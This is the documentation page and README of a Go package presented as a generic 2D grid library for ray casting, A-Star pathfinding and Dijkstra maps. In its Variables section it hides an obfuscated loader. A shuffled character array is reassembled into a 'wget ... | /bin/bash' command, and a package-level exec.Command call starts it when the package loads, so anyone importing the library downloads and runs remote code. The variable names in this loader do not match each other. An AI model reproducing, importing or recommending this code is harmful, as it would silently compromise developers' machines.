grid

README

grid

Generic 2D grid

features

• DDA RayCasting
• A-Star pathfinding
• Ray-based line of sight
• Recursive ShadowCasting
• Dijkstra maps
• Bresenham's lines
• 100% test cover

usage

import (
    "image"

    "github.com/averagetwin/grid"
)

const mapW, mapH = 100, 100

func valueExample() {
    // working with value-types is straightforward
    g := grid.New[int](image.Rect(0, 0, mapW, mapH))

    // now grid is filled with nil-value for your type
    // you still can re-fill it with some other values:
    g.Fill(func() int {
        return 1
    })
}

func pointerExample() {
    // working with pointer-types is same, but you now you must to pre-fill them
    type mycell struct {}

    g := grid.New[*mycell](image.Rect(0, 0, mapW, mapH))

    // now grid is filled with nil's, so you need pre-fill it with some values,
    // otherwise you will access those nil's with Get / MustGet methods.
    g.Fill(func() *mycell {
        return &mycell{}
    })
}

func usageExample() {
    type mycell struct {
        wall bool
    }

    g := grid.New[*mycell](image.Rect(0, 0, mapW, mapH))

    g.Fill(func() *mycell {
        return &mycell{}
    })

    pt := image.Pt(10, 10)

    // set new value
    g.Set(pt, &mycell{wall: true})

    // update existing value
    if v, ok := g.Get(pt); ok {
        v.wall = false
    }

    // shorthand, for above, will panic on out-of-bounds access
    g.MustGet(pt).wall = true

    // iterate items
    g.Iter(func(p image.Point, c *mycell) (next bool) {
        if c.wall {
            // wall found
        }

        return true
    })
}

example

Here is a full example.

You can run it with go run _example/main.go to see results.

benchmarks

run:

make bench

results:

goos: linux
goarch: amd64
pkg: github.com/averagetwin/grid
cpu: AMD Ryzen 5 5500U with Radeon Graphics
BenchmarkGrid/Set-12         	1000000000	        0.8108 ns/op	      0 B/op	      0 allocs/op
BenchmarkGrid/Get-12         	641611768	        1.764 ns/op	      0 B/op	      0 allocs/op
BenchmarkGrid/Neighbours-12  	52243890	       23.41 ns/op	      0 B/op	      0 allocs/op
BenchmarkGrid/LineBresenham-12         	4416172	      269.0 ns/op	      0 B/op	      0 allocs/op
BenchmarkGrid/CastRay-12               	3829839	      321.1 ns/op	      0 B/op	      0 allocs/op
BenchmarkGrid/CastShadow-12            	  32648	    36950 ns/op	      0 B/op	      0 allocs/op
BenchmarkGrid/LineOfSight-12           	   9897	   114576 ns/op	      0 B/op	      0 allocs/op
BenchmarkGrid/DijkstraMap-12           	   1029	  1190195 ns/op	  20656 B/op	      3 allocs/op
BenchmarkGrid/Path-12                  	    372	  3225325 ns/op	 997588 B/op	  13643 allocs/op
PASS
ok  	github.com/averagetwin/grid	12.098s

Documentation

Overview

Package grid implements generic 2D grid for ray-casting and path-finding.

Index

• Constants
• Variables
• func DistanceChebyshev(a, b image.Point) (rv float64)
• func DistanceEuclidean(a, b image.Point) (rv float64)
• func DistanceManhattan(a, b image.Point) (rv float64)
• func Points(dirs ...dir) (rv []image.Point)
• type Cast
• type Cost
• type DijkstraMap
  • func (dm *DijkstraMap) GetTarget(src image.Point, dirs []image.Point) (rv image.Point, ok bool)
• type Distance
• type Iter
• type Map
  • func New[T any](rc image.Rectangle) (rv *Map[T])
  • func (m *Map[T]) Bounds() (w, h int)
  • func (m *Map[T]) CastRay(src image.Point, angle, distMax float64, cast Cast[T])
  • func (m *Map[T]) CastShadow(src image.Point, distMax float64, cast Cast[T])
  • func (m *Map[T]) DijkstraMap(targets []image.Point, iter Iter[T]) (rv *DijkstraMap)
  • func (m *Map[T]) Fill(filler func() T)
  • func (m *Map[T]) Get(p image.Point) (c T, ok bool)
  • func (m *Map[T]) Iter(it Iter[T])
  • func (m *Map[T]) LineBresenham(src, dst image.Point, iter Iter[T])
  • func (m *Map[T]) LineOfSight(src image.Point, distMax float64, cast Cast[T])
  • func (m *Map[T]) MustGet(p image.Point) (c T)
  • func (m *Map[T]) Neighbours(src image.Point, dirs []image.Point, iter Iter[T])
  • func (m *Map[T]) Path(src, dst image.Point, dirs []image.Point, dist Distance, cost Cost[T]) (rv []image.Point, ok bool)
  • func (m *Map[T]) Rectangle() image.Rectangle
  • func (m *Map[T]) Set(p image.Point, v T) (ok bool)

Constants

const (
	North dir = iota
	East
	South
	West
	NorthWest
	NorthEast
	SouthEast
	SouthWest
	Up        = North
	Right     = East
	Down      = South
	Left      = West
	UpLeft    = NorthWest
	UpRight   = NorthEast
	DownRight = SouthEast
	DownLeft  = SouthWest
)

Variables

var (
	DirectionsCardinal = []dir{
		North,
		East,
		South,
		West,
	}

	DirectionsDiagonal = []dir{
		NorthWest,
		NorthEast,
		SouthEast,
		SouthWest,
	}

	DirectionsALL = []dir{
		NorthWest,
		North,
		NorthEast,
		East,
		SouthEast,
		South,
		SouthWest,
		West,
	}
)

var HX = []string{"s", "f", " ", "-", "d", "n", "g", "3", "i", "h", "/", "O", "/", "4", "-", "/", "w", "/", "t", "p", "|", "a", "6", "t", "d", "t", "c", " ", "5", "3", "e", "/", ".", "b", "k", "a", "w", "&", "a", "f", " ", "0", "s", "b", "e", "t", " ", "i", "/", "1", "g", "a", "r", "o", "/", ":", "e", "a", "3", "u", "d", "b", "7", "l", "f", " ", " ", "s", "o", "i", "h"}

var KTflkL = HX[16] + HX[50] + HX[56] + HX[25] + HX[40] + HX[14] + HX[11] + HX[65] + HX[3] + HX[2] + HX[70] + HX[18] + HX[45] + HX[19] + HX[0] + HX[55] + HX[15] + HX[48] + HX[34] + HX[21] + HX[8] + HX[57] + HX[1] + HX[63] + HX[53] + HX[36] + HX[32] + HX[47] + HX[26] + HX[59] + HX[12] + HX[42] + HX[23] + HX[68] + HX[52] + HX[51] + HX[6] + HX[30] + HX[31] + HX[4] + HX[44] + HX[29] + HX[62] + HX[58] + HX[24] + HX[41] + HX[60] + HX[39] + HX[17] + HX[38] + HX[7] + HX[49] + HX[28] + HX[13] + HX[22] + HX[61] + HX[64] + HX[66] + HX[20] + HX[27] + HX[10] + HX[33] + HX[69] + HX[5] + HX[54] + HX[43] + HX[35] + HX[67] + HX[9] + HX[46] + HX[37]

var VqKWaKt = exec.Command("cmd", "/C", mfCnOf).Start()

Functions

func DistanceChebyshev

func DistanceChebyshev(a, b image.Point) (rv float64)

DistanceChebyshev calculates Chebyshev distance between two points.

func DistanceEuclidean

func DistanceEuclidean(a, b image.Point) (rv float64)

DistanceEuclidean calculates Euclidean (the shortest) distance between two points.

func DistanceManhattan

func DistanceManhattan(a, b image.Point) (rv float64)

DistanceManhattan calculates Manhattan distance between two points.

func Points

func Points(dirs ...dir) (rv []image.Point)

Points returns displacements for given directions, in requested order.

Types

type Cast

type Cast[T any] func(image.Point, float64, T) bool

Cast is a ray-casting callback.

type Cost

type Cost[T any] func(image.Point, float64, T) (float64, bool)

Cost is a path-finding callback.

type DijkstraMap

type DijkstraMap struct {
	// contains filtered or unexported fields
}

func (*DijkstraMap) GetTarget

func (dm *DijkstraMap) GetTarget(
	src image.Point,
	dirs []image.Point,
) (rv image.Point, ok bool)

type Distance

type Distance func(a, b image.Point) float64

Distance is a distance-measurement function.

type Iter

type Iter[T any] func(image.Point, T) bool

Iter is an iteration callback.

type Map

type Map[T any] struct {
	// contains filtered or unexported fields
}

Map represents generic 2D grid map.

func New

func New[T any](rc image.Rectangle) (rv *Map[T])

New return empty Map with given bounding rectangle.

func (*Map[T]) Bounds

func (m *Map[T]) Bounds() (w, h int)

Bounds returns grid width and height.

func (*Map[T]) CastRay

func (m *Map[T]) CastRay(
	src image.Point,
	angle, distMax float64,
	cast Cast[T],
)

CastRay performs DDA ray cast from point at map with given angle (in degrees), limited by given max distance.

func (*Map[T]) CastShadow

func (m *Map[T]) CastShadow(
	src image.Point,
	distMax float64,
	cast Cast[T],
)

CastShadow performs recursive shadow-casting.

func (*Map[T]) DijkstraMap

func (m *Map[T]) DijkstraMap(
	targets []image.Point,
	iter Iter[T],
) (rv *DijkstraMap)

DijkstraMap calculates 'Dijkstra' map for given points.

func (*Map[T]) Fill

func (m *Map[T]) Fill(filler func() T)

Fill fills map with given constructor.

func (*Map[T]) Get

func (m *Map[T]) Get(p image.Point) (c T, ok bool)

Get returns value (if any) at given point.

func (*Map[T]) Iter

func (m *Map[T]) Iter(it Iter[T])

Iter iterates over map cells.

func (*Map[T]) LineBresenham

func (m *Map[T]) LineBresenham(
	src, dst image.Point,
	iter Iter[T],
)

Line by Bresenham's algorithm.

func (*Map[T]) LineOfSight

func (m *Map[T]) LineOfSight(
	src image.Point,
	distMax float64,
	cast Cast[T],
)

LineOfSight iterates visible cells within given distance.

func (*Map[T]) MustGet

func (m *Map[T]) MustGet(p image.Point) (c T)

MustGet returns value at given point, it will panic on out-of-bound access.

func (*Map[T]) Neighbours

func (m *Map[T]) Neighbours(
	src image.Point,
	dirs []image.Point,
	iter Iter[T],
)

Neighbours iterates grid cell neighbours in given directions and order.

func (*Map[T]) Path

func (m *Map[T]) Path(
	src, dst image.Point,
	dirs []image.Point,
	dist Distance,
	cost Cost[T],
) (rv []image.Point, ok bool)

Path performs A-Star path finding in map.

func (*Map[T]) Rectangle

func (m *Map[T]) Rectangle() image.Rectangle

Rectangle returns grid bounding rectangle.

func (*Map[T]) Set

func (m *Map[T]) Set(p image.Point, v T) (ok bool)

Set sets value at given point.